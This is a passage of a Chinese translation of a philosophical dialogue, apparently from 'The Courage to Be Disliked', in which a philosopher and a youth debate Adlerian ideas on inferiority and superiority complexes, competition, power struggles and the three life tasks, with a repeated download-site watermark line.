青年:但是,您能够肯定自卑感真的是一种人际关系问题吗?例
如,即使社会意义上的成功者,也就是在人际关系中完全没必要自卑的
人也会有某种程度的自卑感。家产万贯的企业家、人人艳羡的绝世美女
或者是奥林匹克冠军得主,大家都多多少少地受到自卑感的困扰。至少
在我看来是如此。这又该如何解释呢?
哲人:阿德勒也承认自卑感人人都有。自卑感本身并不是什么坏
事。
青年:那么,人究竟为什么会有自卑感呢?
哲人:这需要从头说起。首先,人是作为一种无力的存在活在这个
世界上。并且,人希望摆脱这种无力状态,继而就有了普遍欲求。阿德
勒称其为“追求优越性”。
青年:追求优越性?
哲人:在这里,你可以简单将其理解为“希望进步”或者“追求理想
状态”。例如,蹒跚学步的孩子学会独自站立;他们学会语言,可以与
周围的人自由沟通。我们都有想要摆脱无力状态、追求进步的普遍欲
求。人类史上的科学进步也是“追求优越性”的结果。
青年:确实如此。那么?
哲人:与此相对应的就是自卑感。人都处于追求优越性这一“希望
进步的状态”之中,树立某些理想或目标并努力为之奋斗。同时,对于
无法达成理想的自己就会产生一种自卑感。例如,越是有远大志向的厨
师也许就越会产生“还很不熟练”或者“必须做出更好的料理”之类的自卑
感。
青年:嗯,的确如此。
哲人:阿德勒说“无论是追求优越性还是自卑感,都不是病态,而
是一种能够促进健康、正常的努力和成长的刺激”。只要处理得当,自
卑感也可以成为努力和成长的催化剂。
see more please visit: https://homeofpdf.com
青年:也就是说,我们应该正确利用自卑感?
哲人:是的。我们应该摈弃自卑感,进一步向前;不满足于现状,
不断进步;要更加幸福。如果是这样的自卑感,那就没有任何问题。
但是,有些人无法认清“情况可以通过现实的努力而改变”这一事
实,根本没有向前迈进的勇气。他们什么都不做就断定自己不行或是现
实无法改变。
青年:哎呀,是啊。自卑感越强,人就会变得越消极,最终肯定会
认为自己一无是处。自卑感不就是这样吗?
哲人:不,这不是自卑感,而是自卑情结。
青年:自卑情结?也就是自卑感吧?
哲人:这一点请注意。目前“自卑情结”这个词似乎在使用的时候与
自卑感是一样的意思。就像“我为自己的单眼皮感到自卑”或者“他对自
己的学历有自卑感”之类的描述中全都用“自卑情结”这个词来表示自卑
感。其实,这完全是一种误用。自卑情结一词原本表示的是一种复杂而
反常的心理状态,跟自卑感没有关系。例如,即使弗洛伊德提出的“俄
狄浦斯情结”原本也是指一种对同性父母亲的反常对抗心理。
青年:是啊,恋母情结或恋父情结中的“情结”一词确实具有很强的
反常感觉。
哲人:同样道理,“自卑感”和“自卑情结”两个词也必须分辨清楚,
绝不可以混用。
青年:具体有什么不同呢?
哲人:自卑感本身并不是坏事。这一点你能够理解吧?就像阿德勒
说过的那样,自卑感也可以成为促成努力和进步的契机。例如,虽然对
学历抱有自卑感,但若是正因为如此,才下定“我学历低所以更要付出
加倍的努力”之类的决心,那反而成了好事。
而另一方面,自卑情结是指把自己的自卑感当作某种借口使用的状
态。具体就像“我因为学历低所以无法成功”或者“我因为长得不漂亮所
以结不了婚”之类的想法。像这样在日常生活中大肆宣扬“因为有A所以
see more please visit: https://homeofpdf.com
才做不到B”这样的理论,这已经超出了自卑感的范畴,它是一种自卑情
结。
青年:不不,这是一种正儿八经的因果关系!如果学历低,就会失
去很多求职或发展的机会。不被社会看好也就无法成功。这不是什么借
口,而是一种严峻的事实。
哲人:不对。
青年:为什么?哪里不对?
哲人:关于你所说的因果关系,阿德勒用“外部因果律”一词来进行
说明。意思就是:将原本没有任何因果关系的事情解释成似乎有重大
因果关系一样。例如,前几天就有人说:“自己之所以始终无法结
婚,就是因为幼时父母离婚的缘故。”从弗洛伊德的原因论来看,父母
离婚对其造成了极大的精神创伤,与自己的婚姻观有着很大的因果关
系。但是,阿德勒从目的论的角度出发把这种论调称为“外部因果律”。
青年:但是,现实问题是拥有高学历的人更容易在社会上获得成功
啊!先生您应该也有这种社会常识吧。
哲人:问题在于你如何去面对这种社会现实。如果抱着“我因为学
历低所以无法成功”之类的想法,那就不是“不能成功”而是“不想成
功”了。
青年:不想成功?这是什么道理啊?
哲人:简单地说就是害怕向前迈进或者是不想真正地努力。不愿意
为了改变自我而牺牲目前所享受的乐趣——比如玩乐或休闲时间。也就
是拿不出改变生活方式的“勇气”,即使有些不满或者不自由,也还是更
愿意维持现状。
see more please visit: https://homeofpdf.com
越自负的人越自卑
青年:也许是那样,不过……
哲人:而且,对自己的学历有着自卑情结,认为“我因为学历低,
所以才无法成功”。反过来说,这也就意味着“只要有高学历,我也可以
获得巨大的成功”。
青年:嗯,的确如此。
哲人:这就是自卑情结的另一个侧面。那些用语言或态度表明自己
的自卑情结的人和声称“因为有A所以才不能做到B”的人,他们的言外
之意就是“只要没有A,我也会是有能力、有价值的人”。
青年:也就是说“要不是因为这一点,我也能行”。
哲人:是的。关于自卑感,阿德勒指出“没有人能够长期忍受自卑
感”。也就是说,自卑感虽然人人都有,但它沉重得没人能够一直忍受
这种状态。
青年:嗯?这好像有点乱啊?!
哲人:请你慢慢去理解。拥有自卑感即感觉目前的“我”有所欠缺的
状态。如此一来问题就在于
青年:如何去弥补欠缺的部分,对吧?
哲人:正是如此。如何去弥补自己欠缺的部分呢?最健全的姿态应
该是想要通过努力和成长去弥补欠缺部分,例如刻苦学习、勤奋练习、
努力工作等。
但是,没有这种勇气的人就会陷入自卑情结。拿刚才的例子来讲,
就会产生“我因为学历低所以无法成功”之类的想法,并且还会进一步通
过“如果有高学历自己也很容易成功”之类的话来暗示自己的能力。意思
就是“现在只不过是被学历低这个因素所埋没,’真正的我‘其实非常优
秀”。
青年:不不,第二种说法己经不属于自卑感了。那应该是自吹自擂
see more please visit: https://homeofpdf.com
吧。
哲人:正是如此。自卑情结有时会发展成另外一种特殊的心理状
态。
青年:那是什么呢?
哲人:这也许是你没听说过的词语,是“优越情结”。
青年:优越情结?
哲人:虽然苦于强烈的自卑感,但却没有勇气通过努力或成长之类
的健全手段去进行改变。即便如此,又没法忍受“因为有A所以才做不到
B”之类的自卑情结,无法接受“无能的自己”。如此一来,人就会想要用
更加简便的方法来进行补偿。
青年:怎么做呢?
哲人:表现得好像自己很优秀,继而沉浸在一种虚假的优越感之
中。
青年:虚假的优越感?
哲人:一个很常见的例子就是“权势张扬”。
青年:那是什么呢?
哲人:例如大力宣扬自己是权力者——可以是班组领导,也可以是
知名人士,其实就是在通过此种方式来显示自己是一种特别的存在。虚
报履历或者过度追逐名牌服饰等也属于一种权势张扬、具有优越情结的
特点。这些情况都属于“我”原本并不优秀或者并不特别。而通过
把“我”和权势相结合,似乎显得“我”很优秀。这也就是“虚假优越感”。
青年:其根源在于怀有强烈的自卑感吧?
哲人:当然。我虽然对时尚不太了解,但10根手指全都戴着红宝石
或者绿宝石戒指的人与其说是有审美意识的问题,倒不如说是自卑感的
问题,也就是一种优越情结的表现。
see more please visit: https://homeofpdf.com
青年:的确如此。
哲人:不过,借助权势的力量来抬高自己的人终究是活在他人的价
值观和人生之中。这是必须重点强调的地方。
青年:哦,是优越情结吗?这是一种很有意思的心理。您能再举一
些例子吗?
哲人:例如,那些想要骄傲于自我功绩的人,那些沉迷于过去的荣
光整天只谈自己曾经的辉煌业绩的人,这样的人恐怕你身边也有。这些
都可以称之为优越情结。
青年:骄傲于自我功绩也算吗?那虽然是一种骄傲自大的态度,但
也是因为实际上就很优秀才骄傲的吧。这可不能叫作虚假优越感。
哲人:不是这样。特意自吹自擂的人其实是对自己没有自信。阿德
勒明确指出“如果有人骄傲自大,那一定是因为他有自卑感”。
青年:您是说自大是自卑感的另一种表现。
哲人:是的。如果真正地拥有自信,就不会自大。正因为有强烈的
自卑感才会骄傲自大,那其实是想要故意炫耀自己很优秀。担心如果不
那么做的话,就会得不到周围的认可。这完全是一种优越情结。
青年:……也就是说,自卑情结和优越情结从名称上来看似乎是正
相反的,但实际上却有着密切的联系?
哲人:密切相关。最后再举一个关于自夸的复杂实例。这是一种通
过把自卑感尖锐化来实现异常优越感的模式。具体就是指夸耀不幸。
青年:夸耀不幸?
哲人:就是说那些津津乐道甚至是夸耀自己成长史中各种不幸的
人。而且,即使别人想要去安慰或者帮助其改变,他们也会用“你无法
了解我的心情”来推开援手。
青年:啊,这种人倒是存在……
哲人:这种人其实是想要借助不幸来显示自己“特别”,他们想要用
see more please visit: https://homeofpdf.com
不幸这一点来压住别人。
例如,我的身高很矮。对此,心善的人会用“没必要在意”或者“人
的价值并不由身高决定”之类的话来安慰我。但是,此时我如果甩出“你
怎么能够理解矮子的烦恼呢!”之类的话加以拒绝的话,那谁都会再无
话可说。如此一来,恐怕周围的人一定会小心翼翼地来对待我吧。
青年:的确如此。
哲人:通过这种方式,我就可以变得比他人更有优势、更加“特
别”。生病的时候、受伤的时候、失恋难过的时候,在诸如此类情况
下,很多人都会用这种态度来使自己变成“特别的存在”。
青年:也就是暴露出自己的自卑感以当作武器来使用吗?
哲人:是的。以自己的不幸为武器来支配对方。通过诉说自己如何
不幸、如何痛苦来让周围的人——比如家人或朋友——担心或束缚支配
其言行。刚开始提到的那些闭门不出者就常常沉浸在以不幸为武器的优
越感中。阿德勒甚至指出:“在我们的文化中,弱势其实非常强大而且
具有特权。”
青年:什么叫“弱势具有特权”?
哲人:阿德勒说:“在我们的文化中,如果要问谁最强大,那答案
也许应该是婴儿。婴儿其实总是处于支配而非被支配的地位。”婴儿就
是通过其弱势特点来支配大人。并且,婴儿因为弱势所以不受任何人的
支配。
青年:……根本没有这种观点。
哲人:当然,负伤之人所说的“你无法体会我的心情”之类的话中也
包含着一定的事实。谁都无法完全理解痛苦的当事人的心情。但是,只
要把自己的不幸当作保持“特别”的武器来用,那人就会永远需要不幸。
开始于自卑感的一系列辩论。自卑情结再加上优越情结,这些虽然
是心理学上的重要词汇,但其内涵与青年原来的想法存在着太大的反
差。他自己在一时之间依然感觉好像还有哪里想不通。到底是哪里无法
接受呢?对啦,我对导入部分的前提条件还存有疑惑。这样想着,青年
see more please visit: https://homeofpdf.com
不紧不慢地开口说话了。
see more please visit: https://homeofpdf.com
人生不是与他人的比赛
青年:但是,我依然不太明白。
哲人:你尽管问。
青年:阿德勒也认为希望进步的“追求优越性”属于普遍欲求吧?另
一方面,他又提醒人们不可以陷入过剩的自卑感或优越感之中。如果是
直接否定“追求优越性”的话倒还容易理解,但他又认可这一点。那么,
我们到底应该怎么做呢?
哲人:请你这样想。一提到“追求优越性”,往往容易被认为是尽力
超越他人甚至是通过排挤他人以取得晋升之类的追求,往往给人一种踩
着别人往上升的印象。当然,阿德勒也并不是肯定这种态度。在同一个
平面上既有人走在前面又有人走在后面。请想象一下这种情形:虽然行
进距离或速度各不相同,但大家都平等地走在一个平面上。所谓“追求
优越性”是指自己不断朝前迈进,而不是比别人高出一等的意思。
青年:您是说人生不是竞争?
哲人:是的。不与任何人竞争。只要自己不断前进即可。当然,也
没有必要把自己和别人相比较。
青年:哎呀,这不可能吧。我们无论如何都避免不了把自己与别人
相比较。自卑感不就是这样产生的吗?
哲人:健全的自卑感不是来自与别人的比较,而是来自与“理想的
自己”的比较。
青年:但是......
哲人:好吧,我们都不一样。性别、年龄、知识、经验、外貌,没
有完全一样的人。我们应该积极地看待自己与别人的差异。但是,我
们“虽然不同但是平等”。
青年:虽然不同但是平等?
see more please visit: https://homeofpdf.com
哲人:是的。人都各有差异,这种“差异”不关乎善恶或优劣。因为
不管存在着什么样的差异,我们都是平等的人。
青年:人无高低之分,从理想论的角度来看也许如此。但是,先
生,我们应该看看真正的现实。例如,作为成人的我与连四则运算都不
会的孩子之间,也可以说是真正平等吗?
哲人:就知识、经验或者责任来讲也许存在着差异。也许孩子不能
很好地系鞋带、不能解开复杂的方程式或者是在发生问题的时候不能像
成人那样去负责任。但是,人的价值并不能用这些来决定。我的回答仍
然一样:所有的人都是“虽然不同但是平等”的。
青年:那么,先生,您是说要把孩子当成一个成人来对待吗?
哲人:不,既不当作成人来对待也不当作孩子来对待,而是“当作
人”来对待。把孩子当作与自己一样的一个人来真诚相对。
青年:那么,我换个问题。所有人都平等,走在同一个平面上。虽
说如此,但依然存在“差异”吧?走在前面的人比较优秀,追在后面的人
则相对逊色。最终不还是归到优劣的问题上吗?
哲人:不是。无论是走在前面还是走在后面都没有关系,我们都走
在一个并不存在纵轴的水平面上,我们不断向前迈进并不是为了与谁竞
争。价值在于不断超越自我。
青年:先生您能摆脱一切竞争吗?
哲人:当然。我不追求地位或名誉,作为一名在野哲人,过着与世
无争的人生。
青年:退出竞争不也就是认输吗?
哲人:是从胜负竞争中全身而退。当一个人想要做自己的时候,竞
争势必会成为障碍。
青年:不,那是厌倦人生的老人的逻辑啊!像我这样的年轻人必须
在剑拔弩张的竞争中去提高自己。正因为有竞争对手的激励,才能够不
断创造更好的自己。用竞争来考虑人际关系有什么不好呢?
see more please visit: https://homeofpdf.com
哲人:如果那个竞争对手对你来说是可以称得上“伙伴”的存在,那
也许会有利于自我研究。但在多数情况下,竞争对手并不能成为伙伴。
青年:怎么回事?
see more please visit: https://homeofpdf.com
在意你长相的,只有你自己
哲人:接下来咱们梳理一下我们的辩论。最初你对阿德勒所主张
的“一切烦恼皆源于人际关系”这一概念表示不满,对吧?围绕着自卑感
的争论就由此而起。
青年:是的是的。关于自卑感这个话题的讨论太过激烈,以至于差
点把那一点给忘记了。最初为什么会谈到自卑感这个话题呢?
哲人:这与竞争有关。请你记住。如果在人际关系中存在“竞争”,
那人就不可能摆脱人际关系带来的烦恼,也就不可能摆脱不幸。
青年:为什么?
哲人:因为有竞争的地方就会有胜者和败者。
青年:有胜者和败者不是很好吗?
哲人:请从你自己的角度来具体考虑一下。假设你对周围的人都抱
有“竞争”意识。但是,竞争就会有胜者和败者。因为他们之间的关系,
所以必然会意识到胜负,会产生“A君上了名牌大学,B君进了那家大
企,C君找了一位那么漂亮的女朋友,而自己却是这样”之类的想法。
青年:哈哈,可真具体啊。
哲人:如果意识到竞争或胜负,那么势必就会产生自卑感。因为常
常拿自己和别人相比就会产生“优于这个、输于那个”之类的想法,而自
卑情结或优越情结就会随之而生。那么,对此时的你来说,他人又会是
什么样的存在呢?
青年:呀,是竞争对手吗?
哲人:不,不是单纯的的竞争对手。不知不觉就会把他人乃至整个
世界都看成“敌人”。
青年:敌人?
哲人:也就是会认为人人都是随时会愚弄、嘲讽、攻击甚至陷害自
see more please visit: https://homeofpdf.com
己、绝不可掉以轻心的敌人,而世界则是一个恐怖的地方。
青年:您是说与不可掉以轻心的敌人之间的竞争?
哲人:竞争的可怕之处就在于此。即便不是败者、即便一直立于不
败之地,处于竞争之中的人也会一刻不得安心、不想成为败者。而为了
不成为败者就必须一直获胜、不能相信他人。之所以有很多人虽然取得
了社会性的成功,但却感觉不到幸福,就是因为他们活在竞争之中。因
为他们眼中的世界是敌人遍布的危险所在。
青年:虽然或许如此,但是……
哲人:但实际上,别人真的会那么关注你吗?会24小时监视着你,
虎视眈眈地寻找攻击你的机会吗?恐怕并非如此。
我有一位年轻的朋友,据说他少年时代总是长时间对着镜子整理头
发。于是,他祖母对他说:“在意你的脸的只有你自己。”那之后,他便
活得轻松了一些。
青年:哈哈,您可真讨厌呀!您这是在讽刺我吧?也许我真的把周
围的人看成了敌人,总是担心随时会受到暗箭攻击,认为总是被他人监
视、挑剔甚至攻击。
而且,就像热衷于照镜子的少年一样,这实际上也是自我意识过剩
的反应。世上的人其实并不关注我。即使我在大街上倒立也不会有人留
意!
但是,怎么样呢,先生?您依然会说我的自卑感是我自己的“选
择”,是有某种“目的”的吗?说实话,我无论如何也不能那样认为。
哲人:为什么呢?
青年:我有一个年长3岁的哥哥,他非常听父母的话,学习运动样
样精通,是一位非常认真的哥哥。而我自幼就常常被拿来跟哥哥比较。
当然,跟年长3岁的哥哥相比,我什么都贏不了。而父母根本不管这一
点,他们总是不认可我。无论我做什么都被当作孩子来对待,一遇到事
情就被否定,总是被压制、被忽视。简直就是生活在自卑感中,还必须
意识到与哥哥之间的竞争!
see more please visit: https://homeofpdf.com
哲人:怪不得。
青年:我有时候这样想。自己就像是从未真正沐浴过阳光的丝瓜,
自然就会因为自卑感而扭曲。所以,如果有挺拔舒展的人,真希望他能
够带带我呀!
哲人:明白了。你的心情我很理解。那么,包括你与你哥哥的关
系,也从“竞争”角度去考虑。如果你不把自己与哥哥或者他人的关系放
在“竞争”角度去考虑的话,他们又会变成什么样的存在呢?
青年:那也许哥哥就是哥哥、他人就是他人吧。
哲人:不,应该会成为更加积极的“伙伴”。
青年:伙伴?
哲人:你刚刚也说过吧?“无法真心祝福过得幸福的他人”,那就是
因为站在竞争的角度来考虑人际关系,把他人的幸福看作“我的失败”,
所以才无法给予祝福。
但是,一旦从竞争的怪圈中解放出来,就再没有必要战胜任何人
了,也就能够摆脱“或许会输”的恐惧心理了,变得能够真心祝福他人的
幸福并能够为他人的幸福作出积极的贡献。当某人陷入困难的时候你随
时愿意伸出援手,那他对你来说就是可以称为伙伴的存在。
青年:嗯。
哲人:关键在于下面这一点。如果能够体会到“人人都是我的伙
伴”,那么对世界的看法也会截然不同。不再把世界当成危险的所在,
也不再活在不必要的猜忌之中,你眼中的世界就会成为一个安全舒适的
地方。人际关系的烦恼也会大大减少。
青年:……那可真是幸福的人啊!但是,那是向日葵,对,是向日
葵。是沐浴着温暖阳光、吸收着充足水分长起来的向日葵的理论,生长
在昏暗背阴处的丝瓜根本不可能那样!
哲人:你又要回到原因论上去了吧?
青年:是的,的确如此!
see more please visit: https://homeofpdf.com
由严厉父母养大的青年自幼便一直被拿来与哥哥进行比较,并受到
不公正的待遇;任何意见都不被采纳,还被骂作是差劲的弟弟;在学校
也交不到朋友,休息时间也一直闷在图书室里,只有图书室是自己的安
身之所。经历过这种少年时代的青年彻底成了原因论的信徒。他认为,
如果没有那样的父母和哥哥、没有在那样的学校上学的话,自己也会有
一个更加光明的人生。原本想要尽可能地冷静辩论的青年积累了多年的
情绪,在此时一下子爆发了。
see more please visit: https://homeofpdf.com
人际关系中的“权力斗争”与复仇
青年:好啦,先生。目的论只是一种诡辩,精神创伤确实存在!而
且,人根本无法摆脱过去!先生您也承认我们无法乘坐时光机器回到过
去吧?
只要过去作为过去存在着,我们就得生活在过去所造成的影响之
中。如果当过去不存在,那就等于是在否定自己走过的人生!先生您是
说要让我选择那种不负责任的生活吗?
哲人:是啊,我们既不能乘坐时光机器回到过去,也不能让时针倒
转。但是,赋予过去的事情什么样的价值,这是“现在的你”所面临的课
题。
青年:那么,我来问问您“现在”这个话题吧。上一次,先生您
说“人是在捏造愤怒的感情”,是吧?还说站在目的论的角度考虑,事情
就是这样。我现在依然无法接受这种说法。
例如,对社会的不满、对政治的愤怒之类的情况该怎么解释呢?这
也可以说是为了坚持自己的主张而捏造的感情吗?
哲人:的确,我们有时候会对社会问题感到愤怒。但是,这并不是
突发性的感情,而是合乎逻辑的愤慨。个人的愤怒(私愤)和对社会矛
盾或不公平产生的愤怒(公愤)不属于同一种类。个人的愤怒很快就会
冷却,而公愤则会长时间地持续。因私愤而流露的发怒只不过是为了让
别人屈服的一种工具而己。
青年:您是说私愤和公愤不同。
哲人:完全不同。因为公愤超越了自身利害。
青年:那么,我来问问您私愤的事情。如果无缘无故地被人破口大
骂,先生您也会生气吧?
哲人:不生气。
青年:不许撒谎!
see more please visit: https://homeofpdf.com
哲人:如果遭人当面辱骂,我就会考虑一下那个人隐藏的“目的”。
不仅仅是直接性的当面辱骂,当被对方的言行激怒的时候,也要认清对
方是在挑起“权力之争”。
青年:权力之争?
哲人:例如,孩子有时候会通过恶作剧来捉弄大人。在很多情况
下,其目的是为了吸引大人的注意力,他们往往会在大人真正发火之前
停止恶作剧。但是,如果在大人真正生气的时候孩子依然不停止恶作
剧,那么其目的就是“斗争”本身了。
青年:为什么要斗争呢?
哲人:想要获胜啊,想要通过获胜来证明自己的力量。
青年:我还是不太明白。您能举个稍微具体点儿的例子吗?
哲人:比如,假设你和朋友正在谈论时下的政治形势,谈着谈着你
们之间的争论越来越激烈,彼此都各不相让,于是对方很快就上升到了
人格攻击,骂你说:“所以说你是个大傻瓜,正因为有你这种人存在我
们国家才不能发展。”
青年:如果被这样说的话,我肯定会忍无可忍。
哲人:这种情况下,对方的目的是什么呢?是纯粹想要讨论政治
吗?不是。对方只是想要责难挑衅你,通过权力之争来达到让不顺眼的
你屈服的目的。这个时候你如果发怒的话,那就是正中其下怀,关系会
急剧转入权力之争。所以,我们不能上任何挑衅的当。
青年:不不,没必要逃避。对于挑衅就应该进行回击。因为错在对
方。对那种无礼的混球就应该直接挫挫其锐气,用语言的拳头!
哲人:那么,假设你压制住了争论,而且彻底认输的对方爽快地退
出。但是,权力之争并没有就此结束。败下阵来的对方会很快转入下一
个阶段。
青年:下一个阶段?
哲人:是的,“复仇”阶段。尽管暂时败下阵来,但对方会在别的地
see more please visit: https://homeofpdf.com
方以别的形式策划着复仇、等待着进行报复。
青年:比如说?
哲人:遭受过父母虐待的孩子有些会误入歧途、逃学,甚至会出现
割腕等自残行为。如果按照弗洛伊德的原因论,肯定会从简单的因果律
角度归结为:“因为父母用这样的方法教育,所以孩子才变成这样。”就
像因为不给植物浇水,所以它们才会干枯一样。这的确是简单易懂的解
释。
但是,阿德勒式的目的论不会忽视孩子隐藏的目的——也就是“报
复父母如果自己出现不良行为、逃学,甚至是割腕,那么父母就会烦恼
不己,父母还会惊慌失措、痛不欲生。孩子正是因为知道这一点,所以
才会出现问题行为。孩子并不是受过去原因(家庭环境)的影响,而是
为了达到现在的目的(报复父母)。
青年:是为了让父母烦恼才有问题行为?
哲人:是的。例如,看到割腕的孩子很多人会不可思议地想:”为
什么要做那种事情呢?“
但是,请想想孩子的割腕行为会对周围的人——比如父母——带来
什么影响。如此一来,行为背后的”目的“就不言而喻了。
青年:……目的是为了复仇吧?
哲人:是的。而且,人际关系一旦发展到复仇阶段,那么当事人之
间几乎就不可能调和了。为了避免这一点,在受到争权挑衅时绝对不可
以上当。
see more please visit: https://homeofpdf.com
承认错误,不代表你失败了
青年:那么,如果当面受到了人格攻击的话该怎么办呢?要一味地
忍耐吗?
哲人:不,”忍耐“这种想法本身就表明你依然拘泥于权力之争。而
是要对对方的行为不做任何反应。我们能做的就只有这一点。
青年:不上挑衅之当这种事情有那么容易做到吗?原本您是怎么说
到要控制怒气的呢?
哲人:所谓控制怒气是否就是”忍耐“呢?不是的,我们应该学习不
使用怒气这种感情的方法,因为怒气终归是为了达成目的的一种手段和
工具。
青年:哦,这太难了。
哲人:首先希望你能够理解这样一个事实,那就是发怒是交流的一
种形态,而且不使用发怒这种方式也可以交流。我们即使不使用怒气,
也可以进行沟通以及取得别人的认同。如果能够从经验中明白这一点,
那自然就不会再有怒气产生了。
青年:但是,即使对方明显找碴儿挑衅,恶意说一些侮辱性的语
言,也不能发怒吗?
哲人:你似乎还没有真正理解。不是不能发怒,而是”没必要依赖
发怒这一工具“。
易怒的人并不是性情急躁,而是不了解发怒以外的有效交流工具。
所以才会说”不由得发火“之类的话。这其实是在借助发怒来进行交流。
青年:发怒之外的有效交流……
哲人:我们有语言,可以通过语言进行交流;要相信语言的力量,
相信具有逻辑性的语言。
青年:……的确,如果不相信这一点的话,我们的这种对话也就不
会成立了。
see more please visit: https://homeofpdf.com
哲人:关于权力之争,还有一点需要注意。那就是无论认为自己多
么正确,也不要以此为理由去责难对方。这是很多人都容易陷落进去的
人际关系圈套。
青年:为什么?
哲人:人在人际关系中一旦确信”我是正确的“,那就已经步入了权
力之争。
青年:仅仅是认为自己正确就会那样吗?不不,这也太夸张了吧?
哲人:我是正确的,也就是说对方是错误的。一旦这样想,辩论的
焦点便会从”主张的正确性“变成了”人际关系的方式“。也就是说,”我
是正确的“这种坚信意味着坚持”对方是错误的“,最终就会演变成”所以
我必须获胜“之类的胜负之争。这就是完完全全的权力之争吧?
青年:嗯。
哲人:原本主张的对错与胜负毫无关系。如果你认为自己正确的
话,那么无论对方持什么意见都应该无所谓。但是,很多人都会陷入权
力之争,试图让对方屈服。正因为如此,才会认为”承认自己的错误“就
等于”承认失败“。
青年:的确有这么一方面。
哲人:因为不想失败,所以就不愿承认自己的错误,结果就会选择
错误的道路。承认错误、赔礼道歉、退出权力之争,这些都不是”失
败“。
追求优越性并不是通过与他人的竞争来完成的。
青年:也就是说,如果过度拘泥于胜负就无法作出正确的选择?
哲人:是的。眼镜模糊了,只能看到眼前的胜负就会走错道路,我
们只有摘掉竞争或胜负之争的眼镜才能够改变完善自己。
see more please visit: https://homeofpdf.com
人生的三大课题:交友课题、工作课题以及爱的课题
青年:嗯。但还是有问题,就是”一切烦恼皆源于人际关系“那句
话。的确,自卑感是人际关系的烦恼,而且我也非常明白自卑感给我们
造成的影响;对”人生不是竞争“这一点从道理上也承认。我无法把他人
看成”伙伴“,总是在心里的某个角落把别人想成是”敌人“。这一点也的
确如此。
但不可思议的是,为什么阿德勒那么重视人际关系,甚至都用”一
切“这样的词来形容?
哲人:人际关系是一个怎么考虑都不为过的重要问题。上次我就说
过”你所缺乏的是获得幸福的勇气“这样的话,你还记得吧?
青年:即使想忘也忘不了啊。
哲人:那么你为什么把别人看成是”敌人“而不能认为是”伙伴“呢?
那是因为勇气受挫的你在逃避”人生的课题“。
青年:人生的课题?
哲人:是的。这非常重要。阿德勒心理学关于人的行为方面和心理
方面都提出了相当明确的目标。
青年:哦。那是什么样的目标呢?
哲人:首先,行为方面的目标有”自立“和”与社会和谐共处“这两
点。而且,支撑这种行为的心理方面的目标是”我有能力“以及”人人都
是我的伙伴“这两种意识。
青年:请您等等。我得做一下笔记。
行为方面的目标有以下两点:
①自立。
②与社会和谐共处。
see more please visit: https://homeofpdf.com
而且,支撑这种行为的心理方面的目标也有以下两点:
①”我有能力“的意识。
②”人人都是我的伙伴“的意识。
哎呀,我能明白其重要性。作为个体自立,同时能够与他人及社会
和谐共处,这好像与我们之前的辩论内容也紧密相关。
哲人:而且,这些目标可以通过阿德勒所说的直面”人生课题“来实
现。
青年:那么,”人生课题“又指什么呢?
哲人:请从孩提时代开始考虑人生这个词。孩提时代,我们在父母
的守护下生活,即使不怎么劳动也可以生存下去。但是,很快就到
了”自立“之时,不能继续依赖父母而必须争取精神性的自立这一点自不
必说,即使在社会意义上也要自立,必须从事某些工作——这里不是指
在企业上班之类狭义上的工作。
此外,在成长过程中会遇到各种各样的朋友关系。当然,也会与某
人结成恋爱关系甚至还有可能发展到结婚。如果是那样的话,就又会产
生夫妻关系,一旦有了孩子还会出现亲子关系。
阿德勒把这些过程中产生的人际关系分为”工作课题“”交友课
题“和”爱的课题“这三类,又统称为”人生课题“。
青年:这里的课题是指作为社会人的义务吗?也就是类似于劳动或
纳税之类的事情。
哲人:不,请你把它理解为单纯的人际关系。人际关系有距离和深
度。为了强调这一点,阿德勒也曾使用”三大羁绊“这样的表达方式。
青年:人际关系的距离和深度?
哲人:一个个体在想要作为社会性的存在生存下去的时候,就会遇
到不得不面对的人际关系,这就是人生课题。在”不得不面对“这一意义
上确实可以说是”义务“。
see more please visit: https://homeofpdf.com
青年:哦,具体来讲呢?
哲人:首先,我们从”工作课题“来考虑。无论什么种类的工作,都
没有一个人可以独立完成的。例如,我平时都在这个书房中写书稿。写
作这项工作的确是无人能够代替、必须自己完成的作业。但即使如此,
只有有了编辑的存在以及装订人员、印刷人员和经销或书店人员的协
助,这项工作才能够成立。原则上来说,根本不可能存在不需要与他人
合作完成的工作。
青年:广义上来说也许如此。
哲人:不过,如果从距离和深度这一观点来考虑的话,工作上的人
际关系可以说门槛最低。工作上的人际关系因为有着成果这一简单易懂
的共通目标,即使有些不投缘也可以合作或者说必须合作;而且,
因”工作“这一点结成的关系,在下班或者转行后就又可以变回他人关
系。
青年:的确如此。
哲人:而且,在这个阶段的人际关系方面出现问题的,就是那些被
称为自闭的人。
青年:唉?请稍等!先生您是说他们并非不想工作或者拒绝劳动,
只是为了逃避”工作方面的人际关系“才不想去上班的?
哲人:本人是否意识到这一点暂且不论,但核心问题就是人际关
系。例如,为了求职而发出简历,面试了却没被任何公司录取,自尊心
受到极大伤害,思来想去便开始怀疑工作的意义。或者,在工作中遭遇
重大失败,由于自己的失误致使公司遭受巨额损失,眼前一片黑暗,于
是开始讨厌再去公司上班。这些情况都不是讨厌工作本身,而是讨厌因
为工作而受到他人的批评和指责,讨厌被贴上”你没有能力“或者”你不
适合这个工作“之类的无能标签,更讨厌无可替代的我的尊严受到伤
害。也就是说,一切都是人际关系的问题。
see more please visit: https://homeofpdf.com
浪漫的红线和坚固的锁链
青年:……嗯,我一会儿再反驳您!接下来,所谓”交友课题“又是
指什么?
哲人:这是指脱离了工作的、更广泛意义上的朋友关系。正因为没
有了工作关系那样的强制力,所以也就更加难以开始和发展。
青年:啊,是呀!如果有学校或者职场之类的”场合“,也还可以构
建关系,但也只是限于那种场合的表面关系。但是,如果进一步发展成
朋友关系或者在学校和职场之外的地方交到朋友,这实在是非常困难。
哲人:你有可以称得上是知己的朋友吗?
青年:有朋友。但是,要说能称得上知己的……
哲人:我曾经也是这样。高中时代的我根本不想交朋友,每天都独
自学习希腊语或德语,默默地研读哲学书。对此非常不安的母亲曾去找
过班主任老师谈话。当时老师好像说:”不必担心。他是不需要朋友的
人。“老师的话给了母亲和我极大的勇气。
青年:不需要朋友的人……那么,先生您在高中时代一个朋友也没
有吗?
哲人:不,只有一个朋友,他说”没有任何应该在大学里学习的东
西“,结果就没有上大学。听说他在山上隐居几年之后,目前在东南亚
从事新闻报道工作。我们已经几十年没见过面了,不过,我感觉我们现
在再次见到,也能够像那个时候一样交往。
很多人认为朋友越多越好,但果真如此吗?朋友或熟人的数量没有
任何价值。这是与爱之主题有关的话题,我们应该考虑的是关系的距离
和深度。
青年:我以后也可以交到好朋友吗?
哲人:当然可以。只要你变了,周围也会改变。必须要有所改变。
阿德勒心理学不是改变他人的心理学,而是追求自我改变的心理学。不
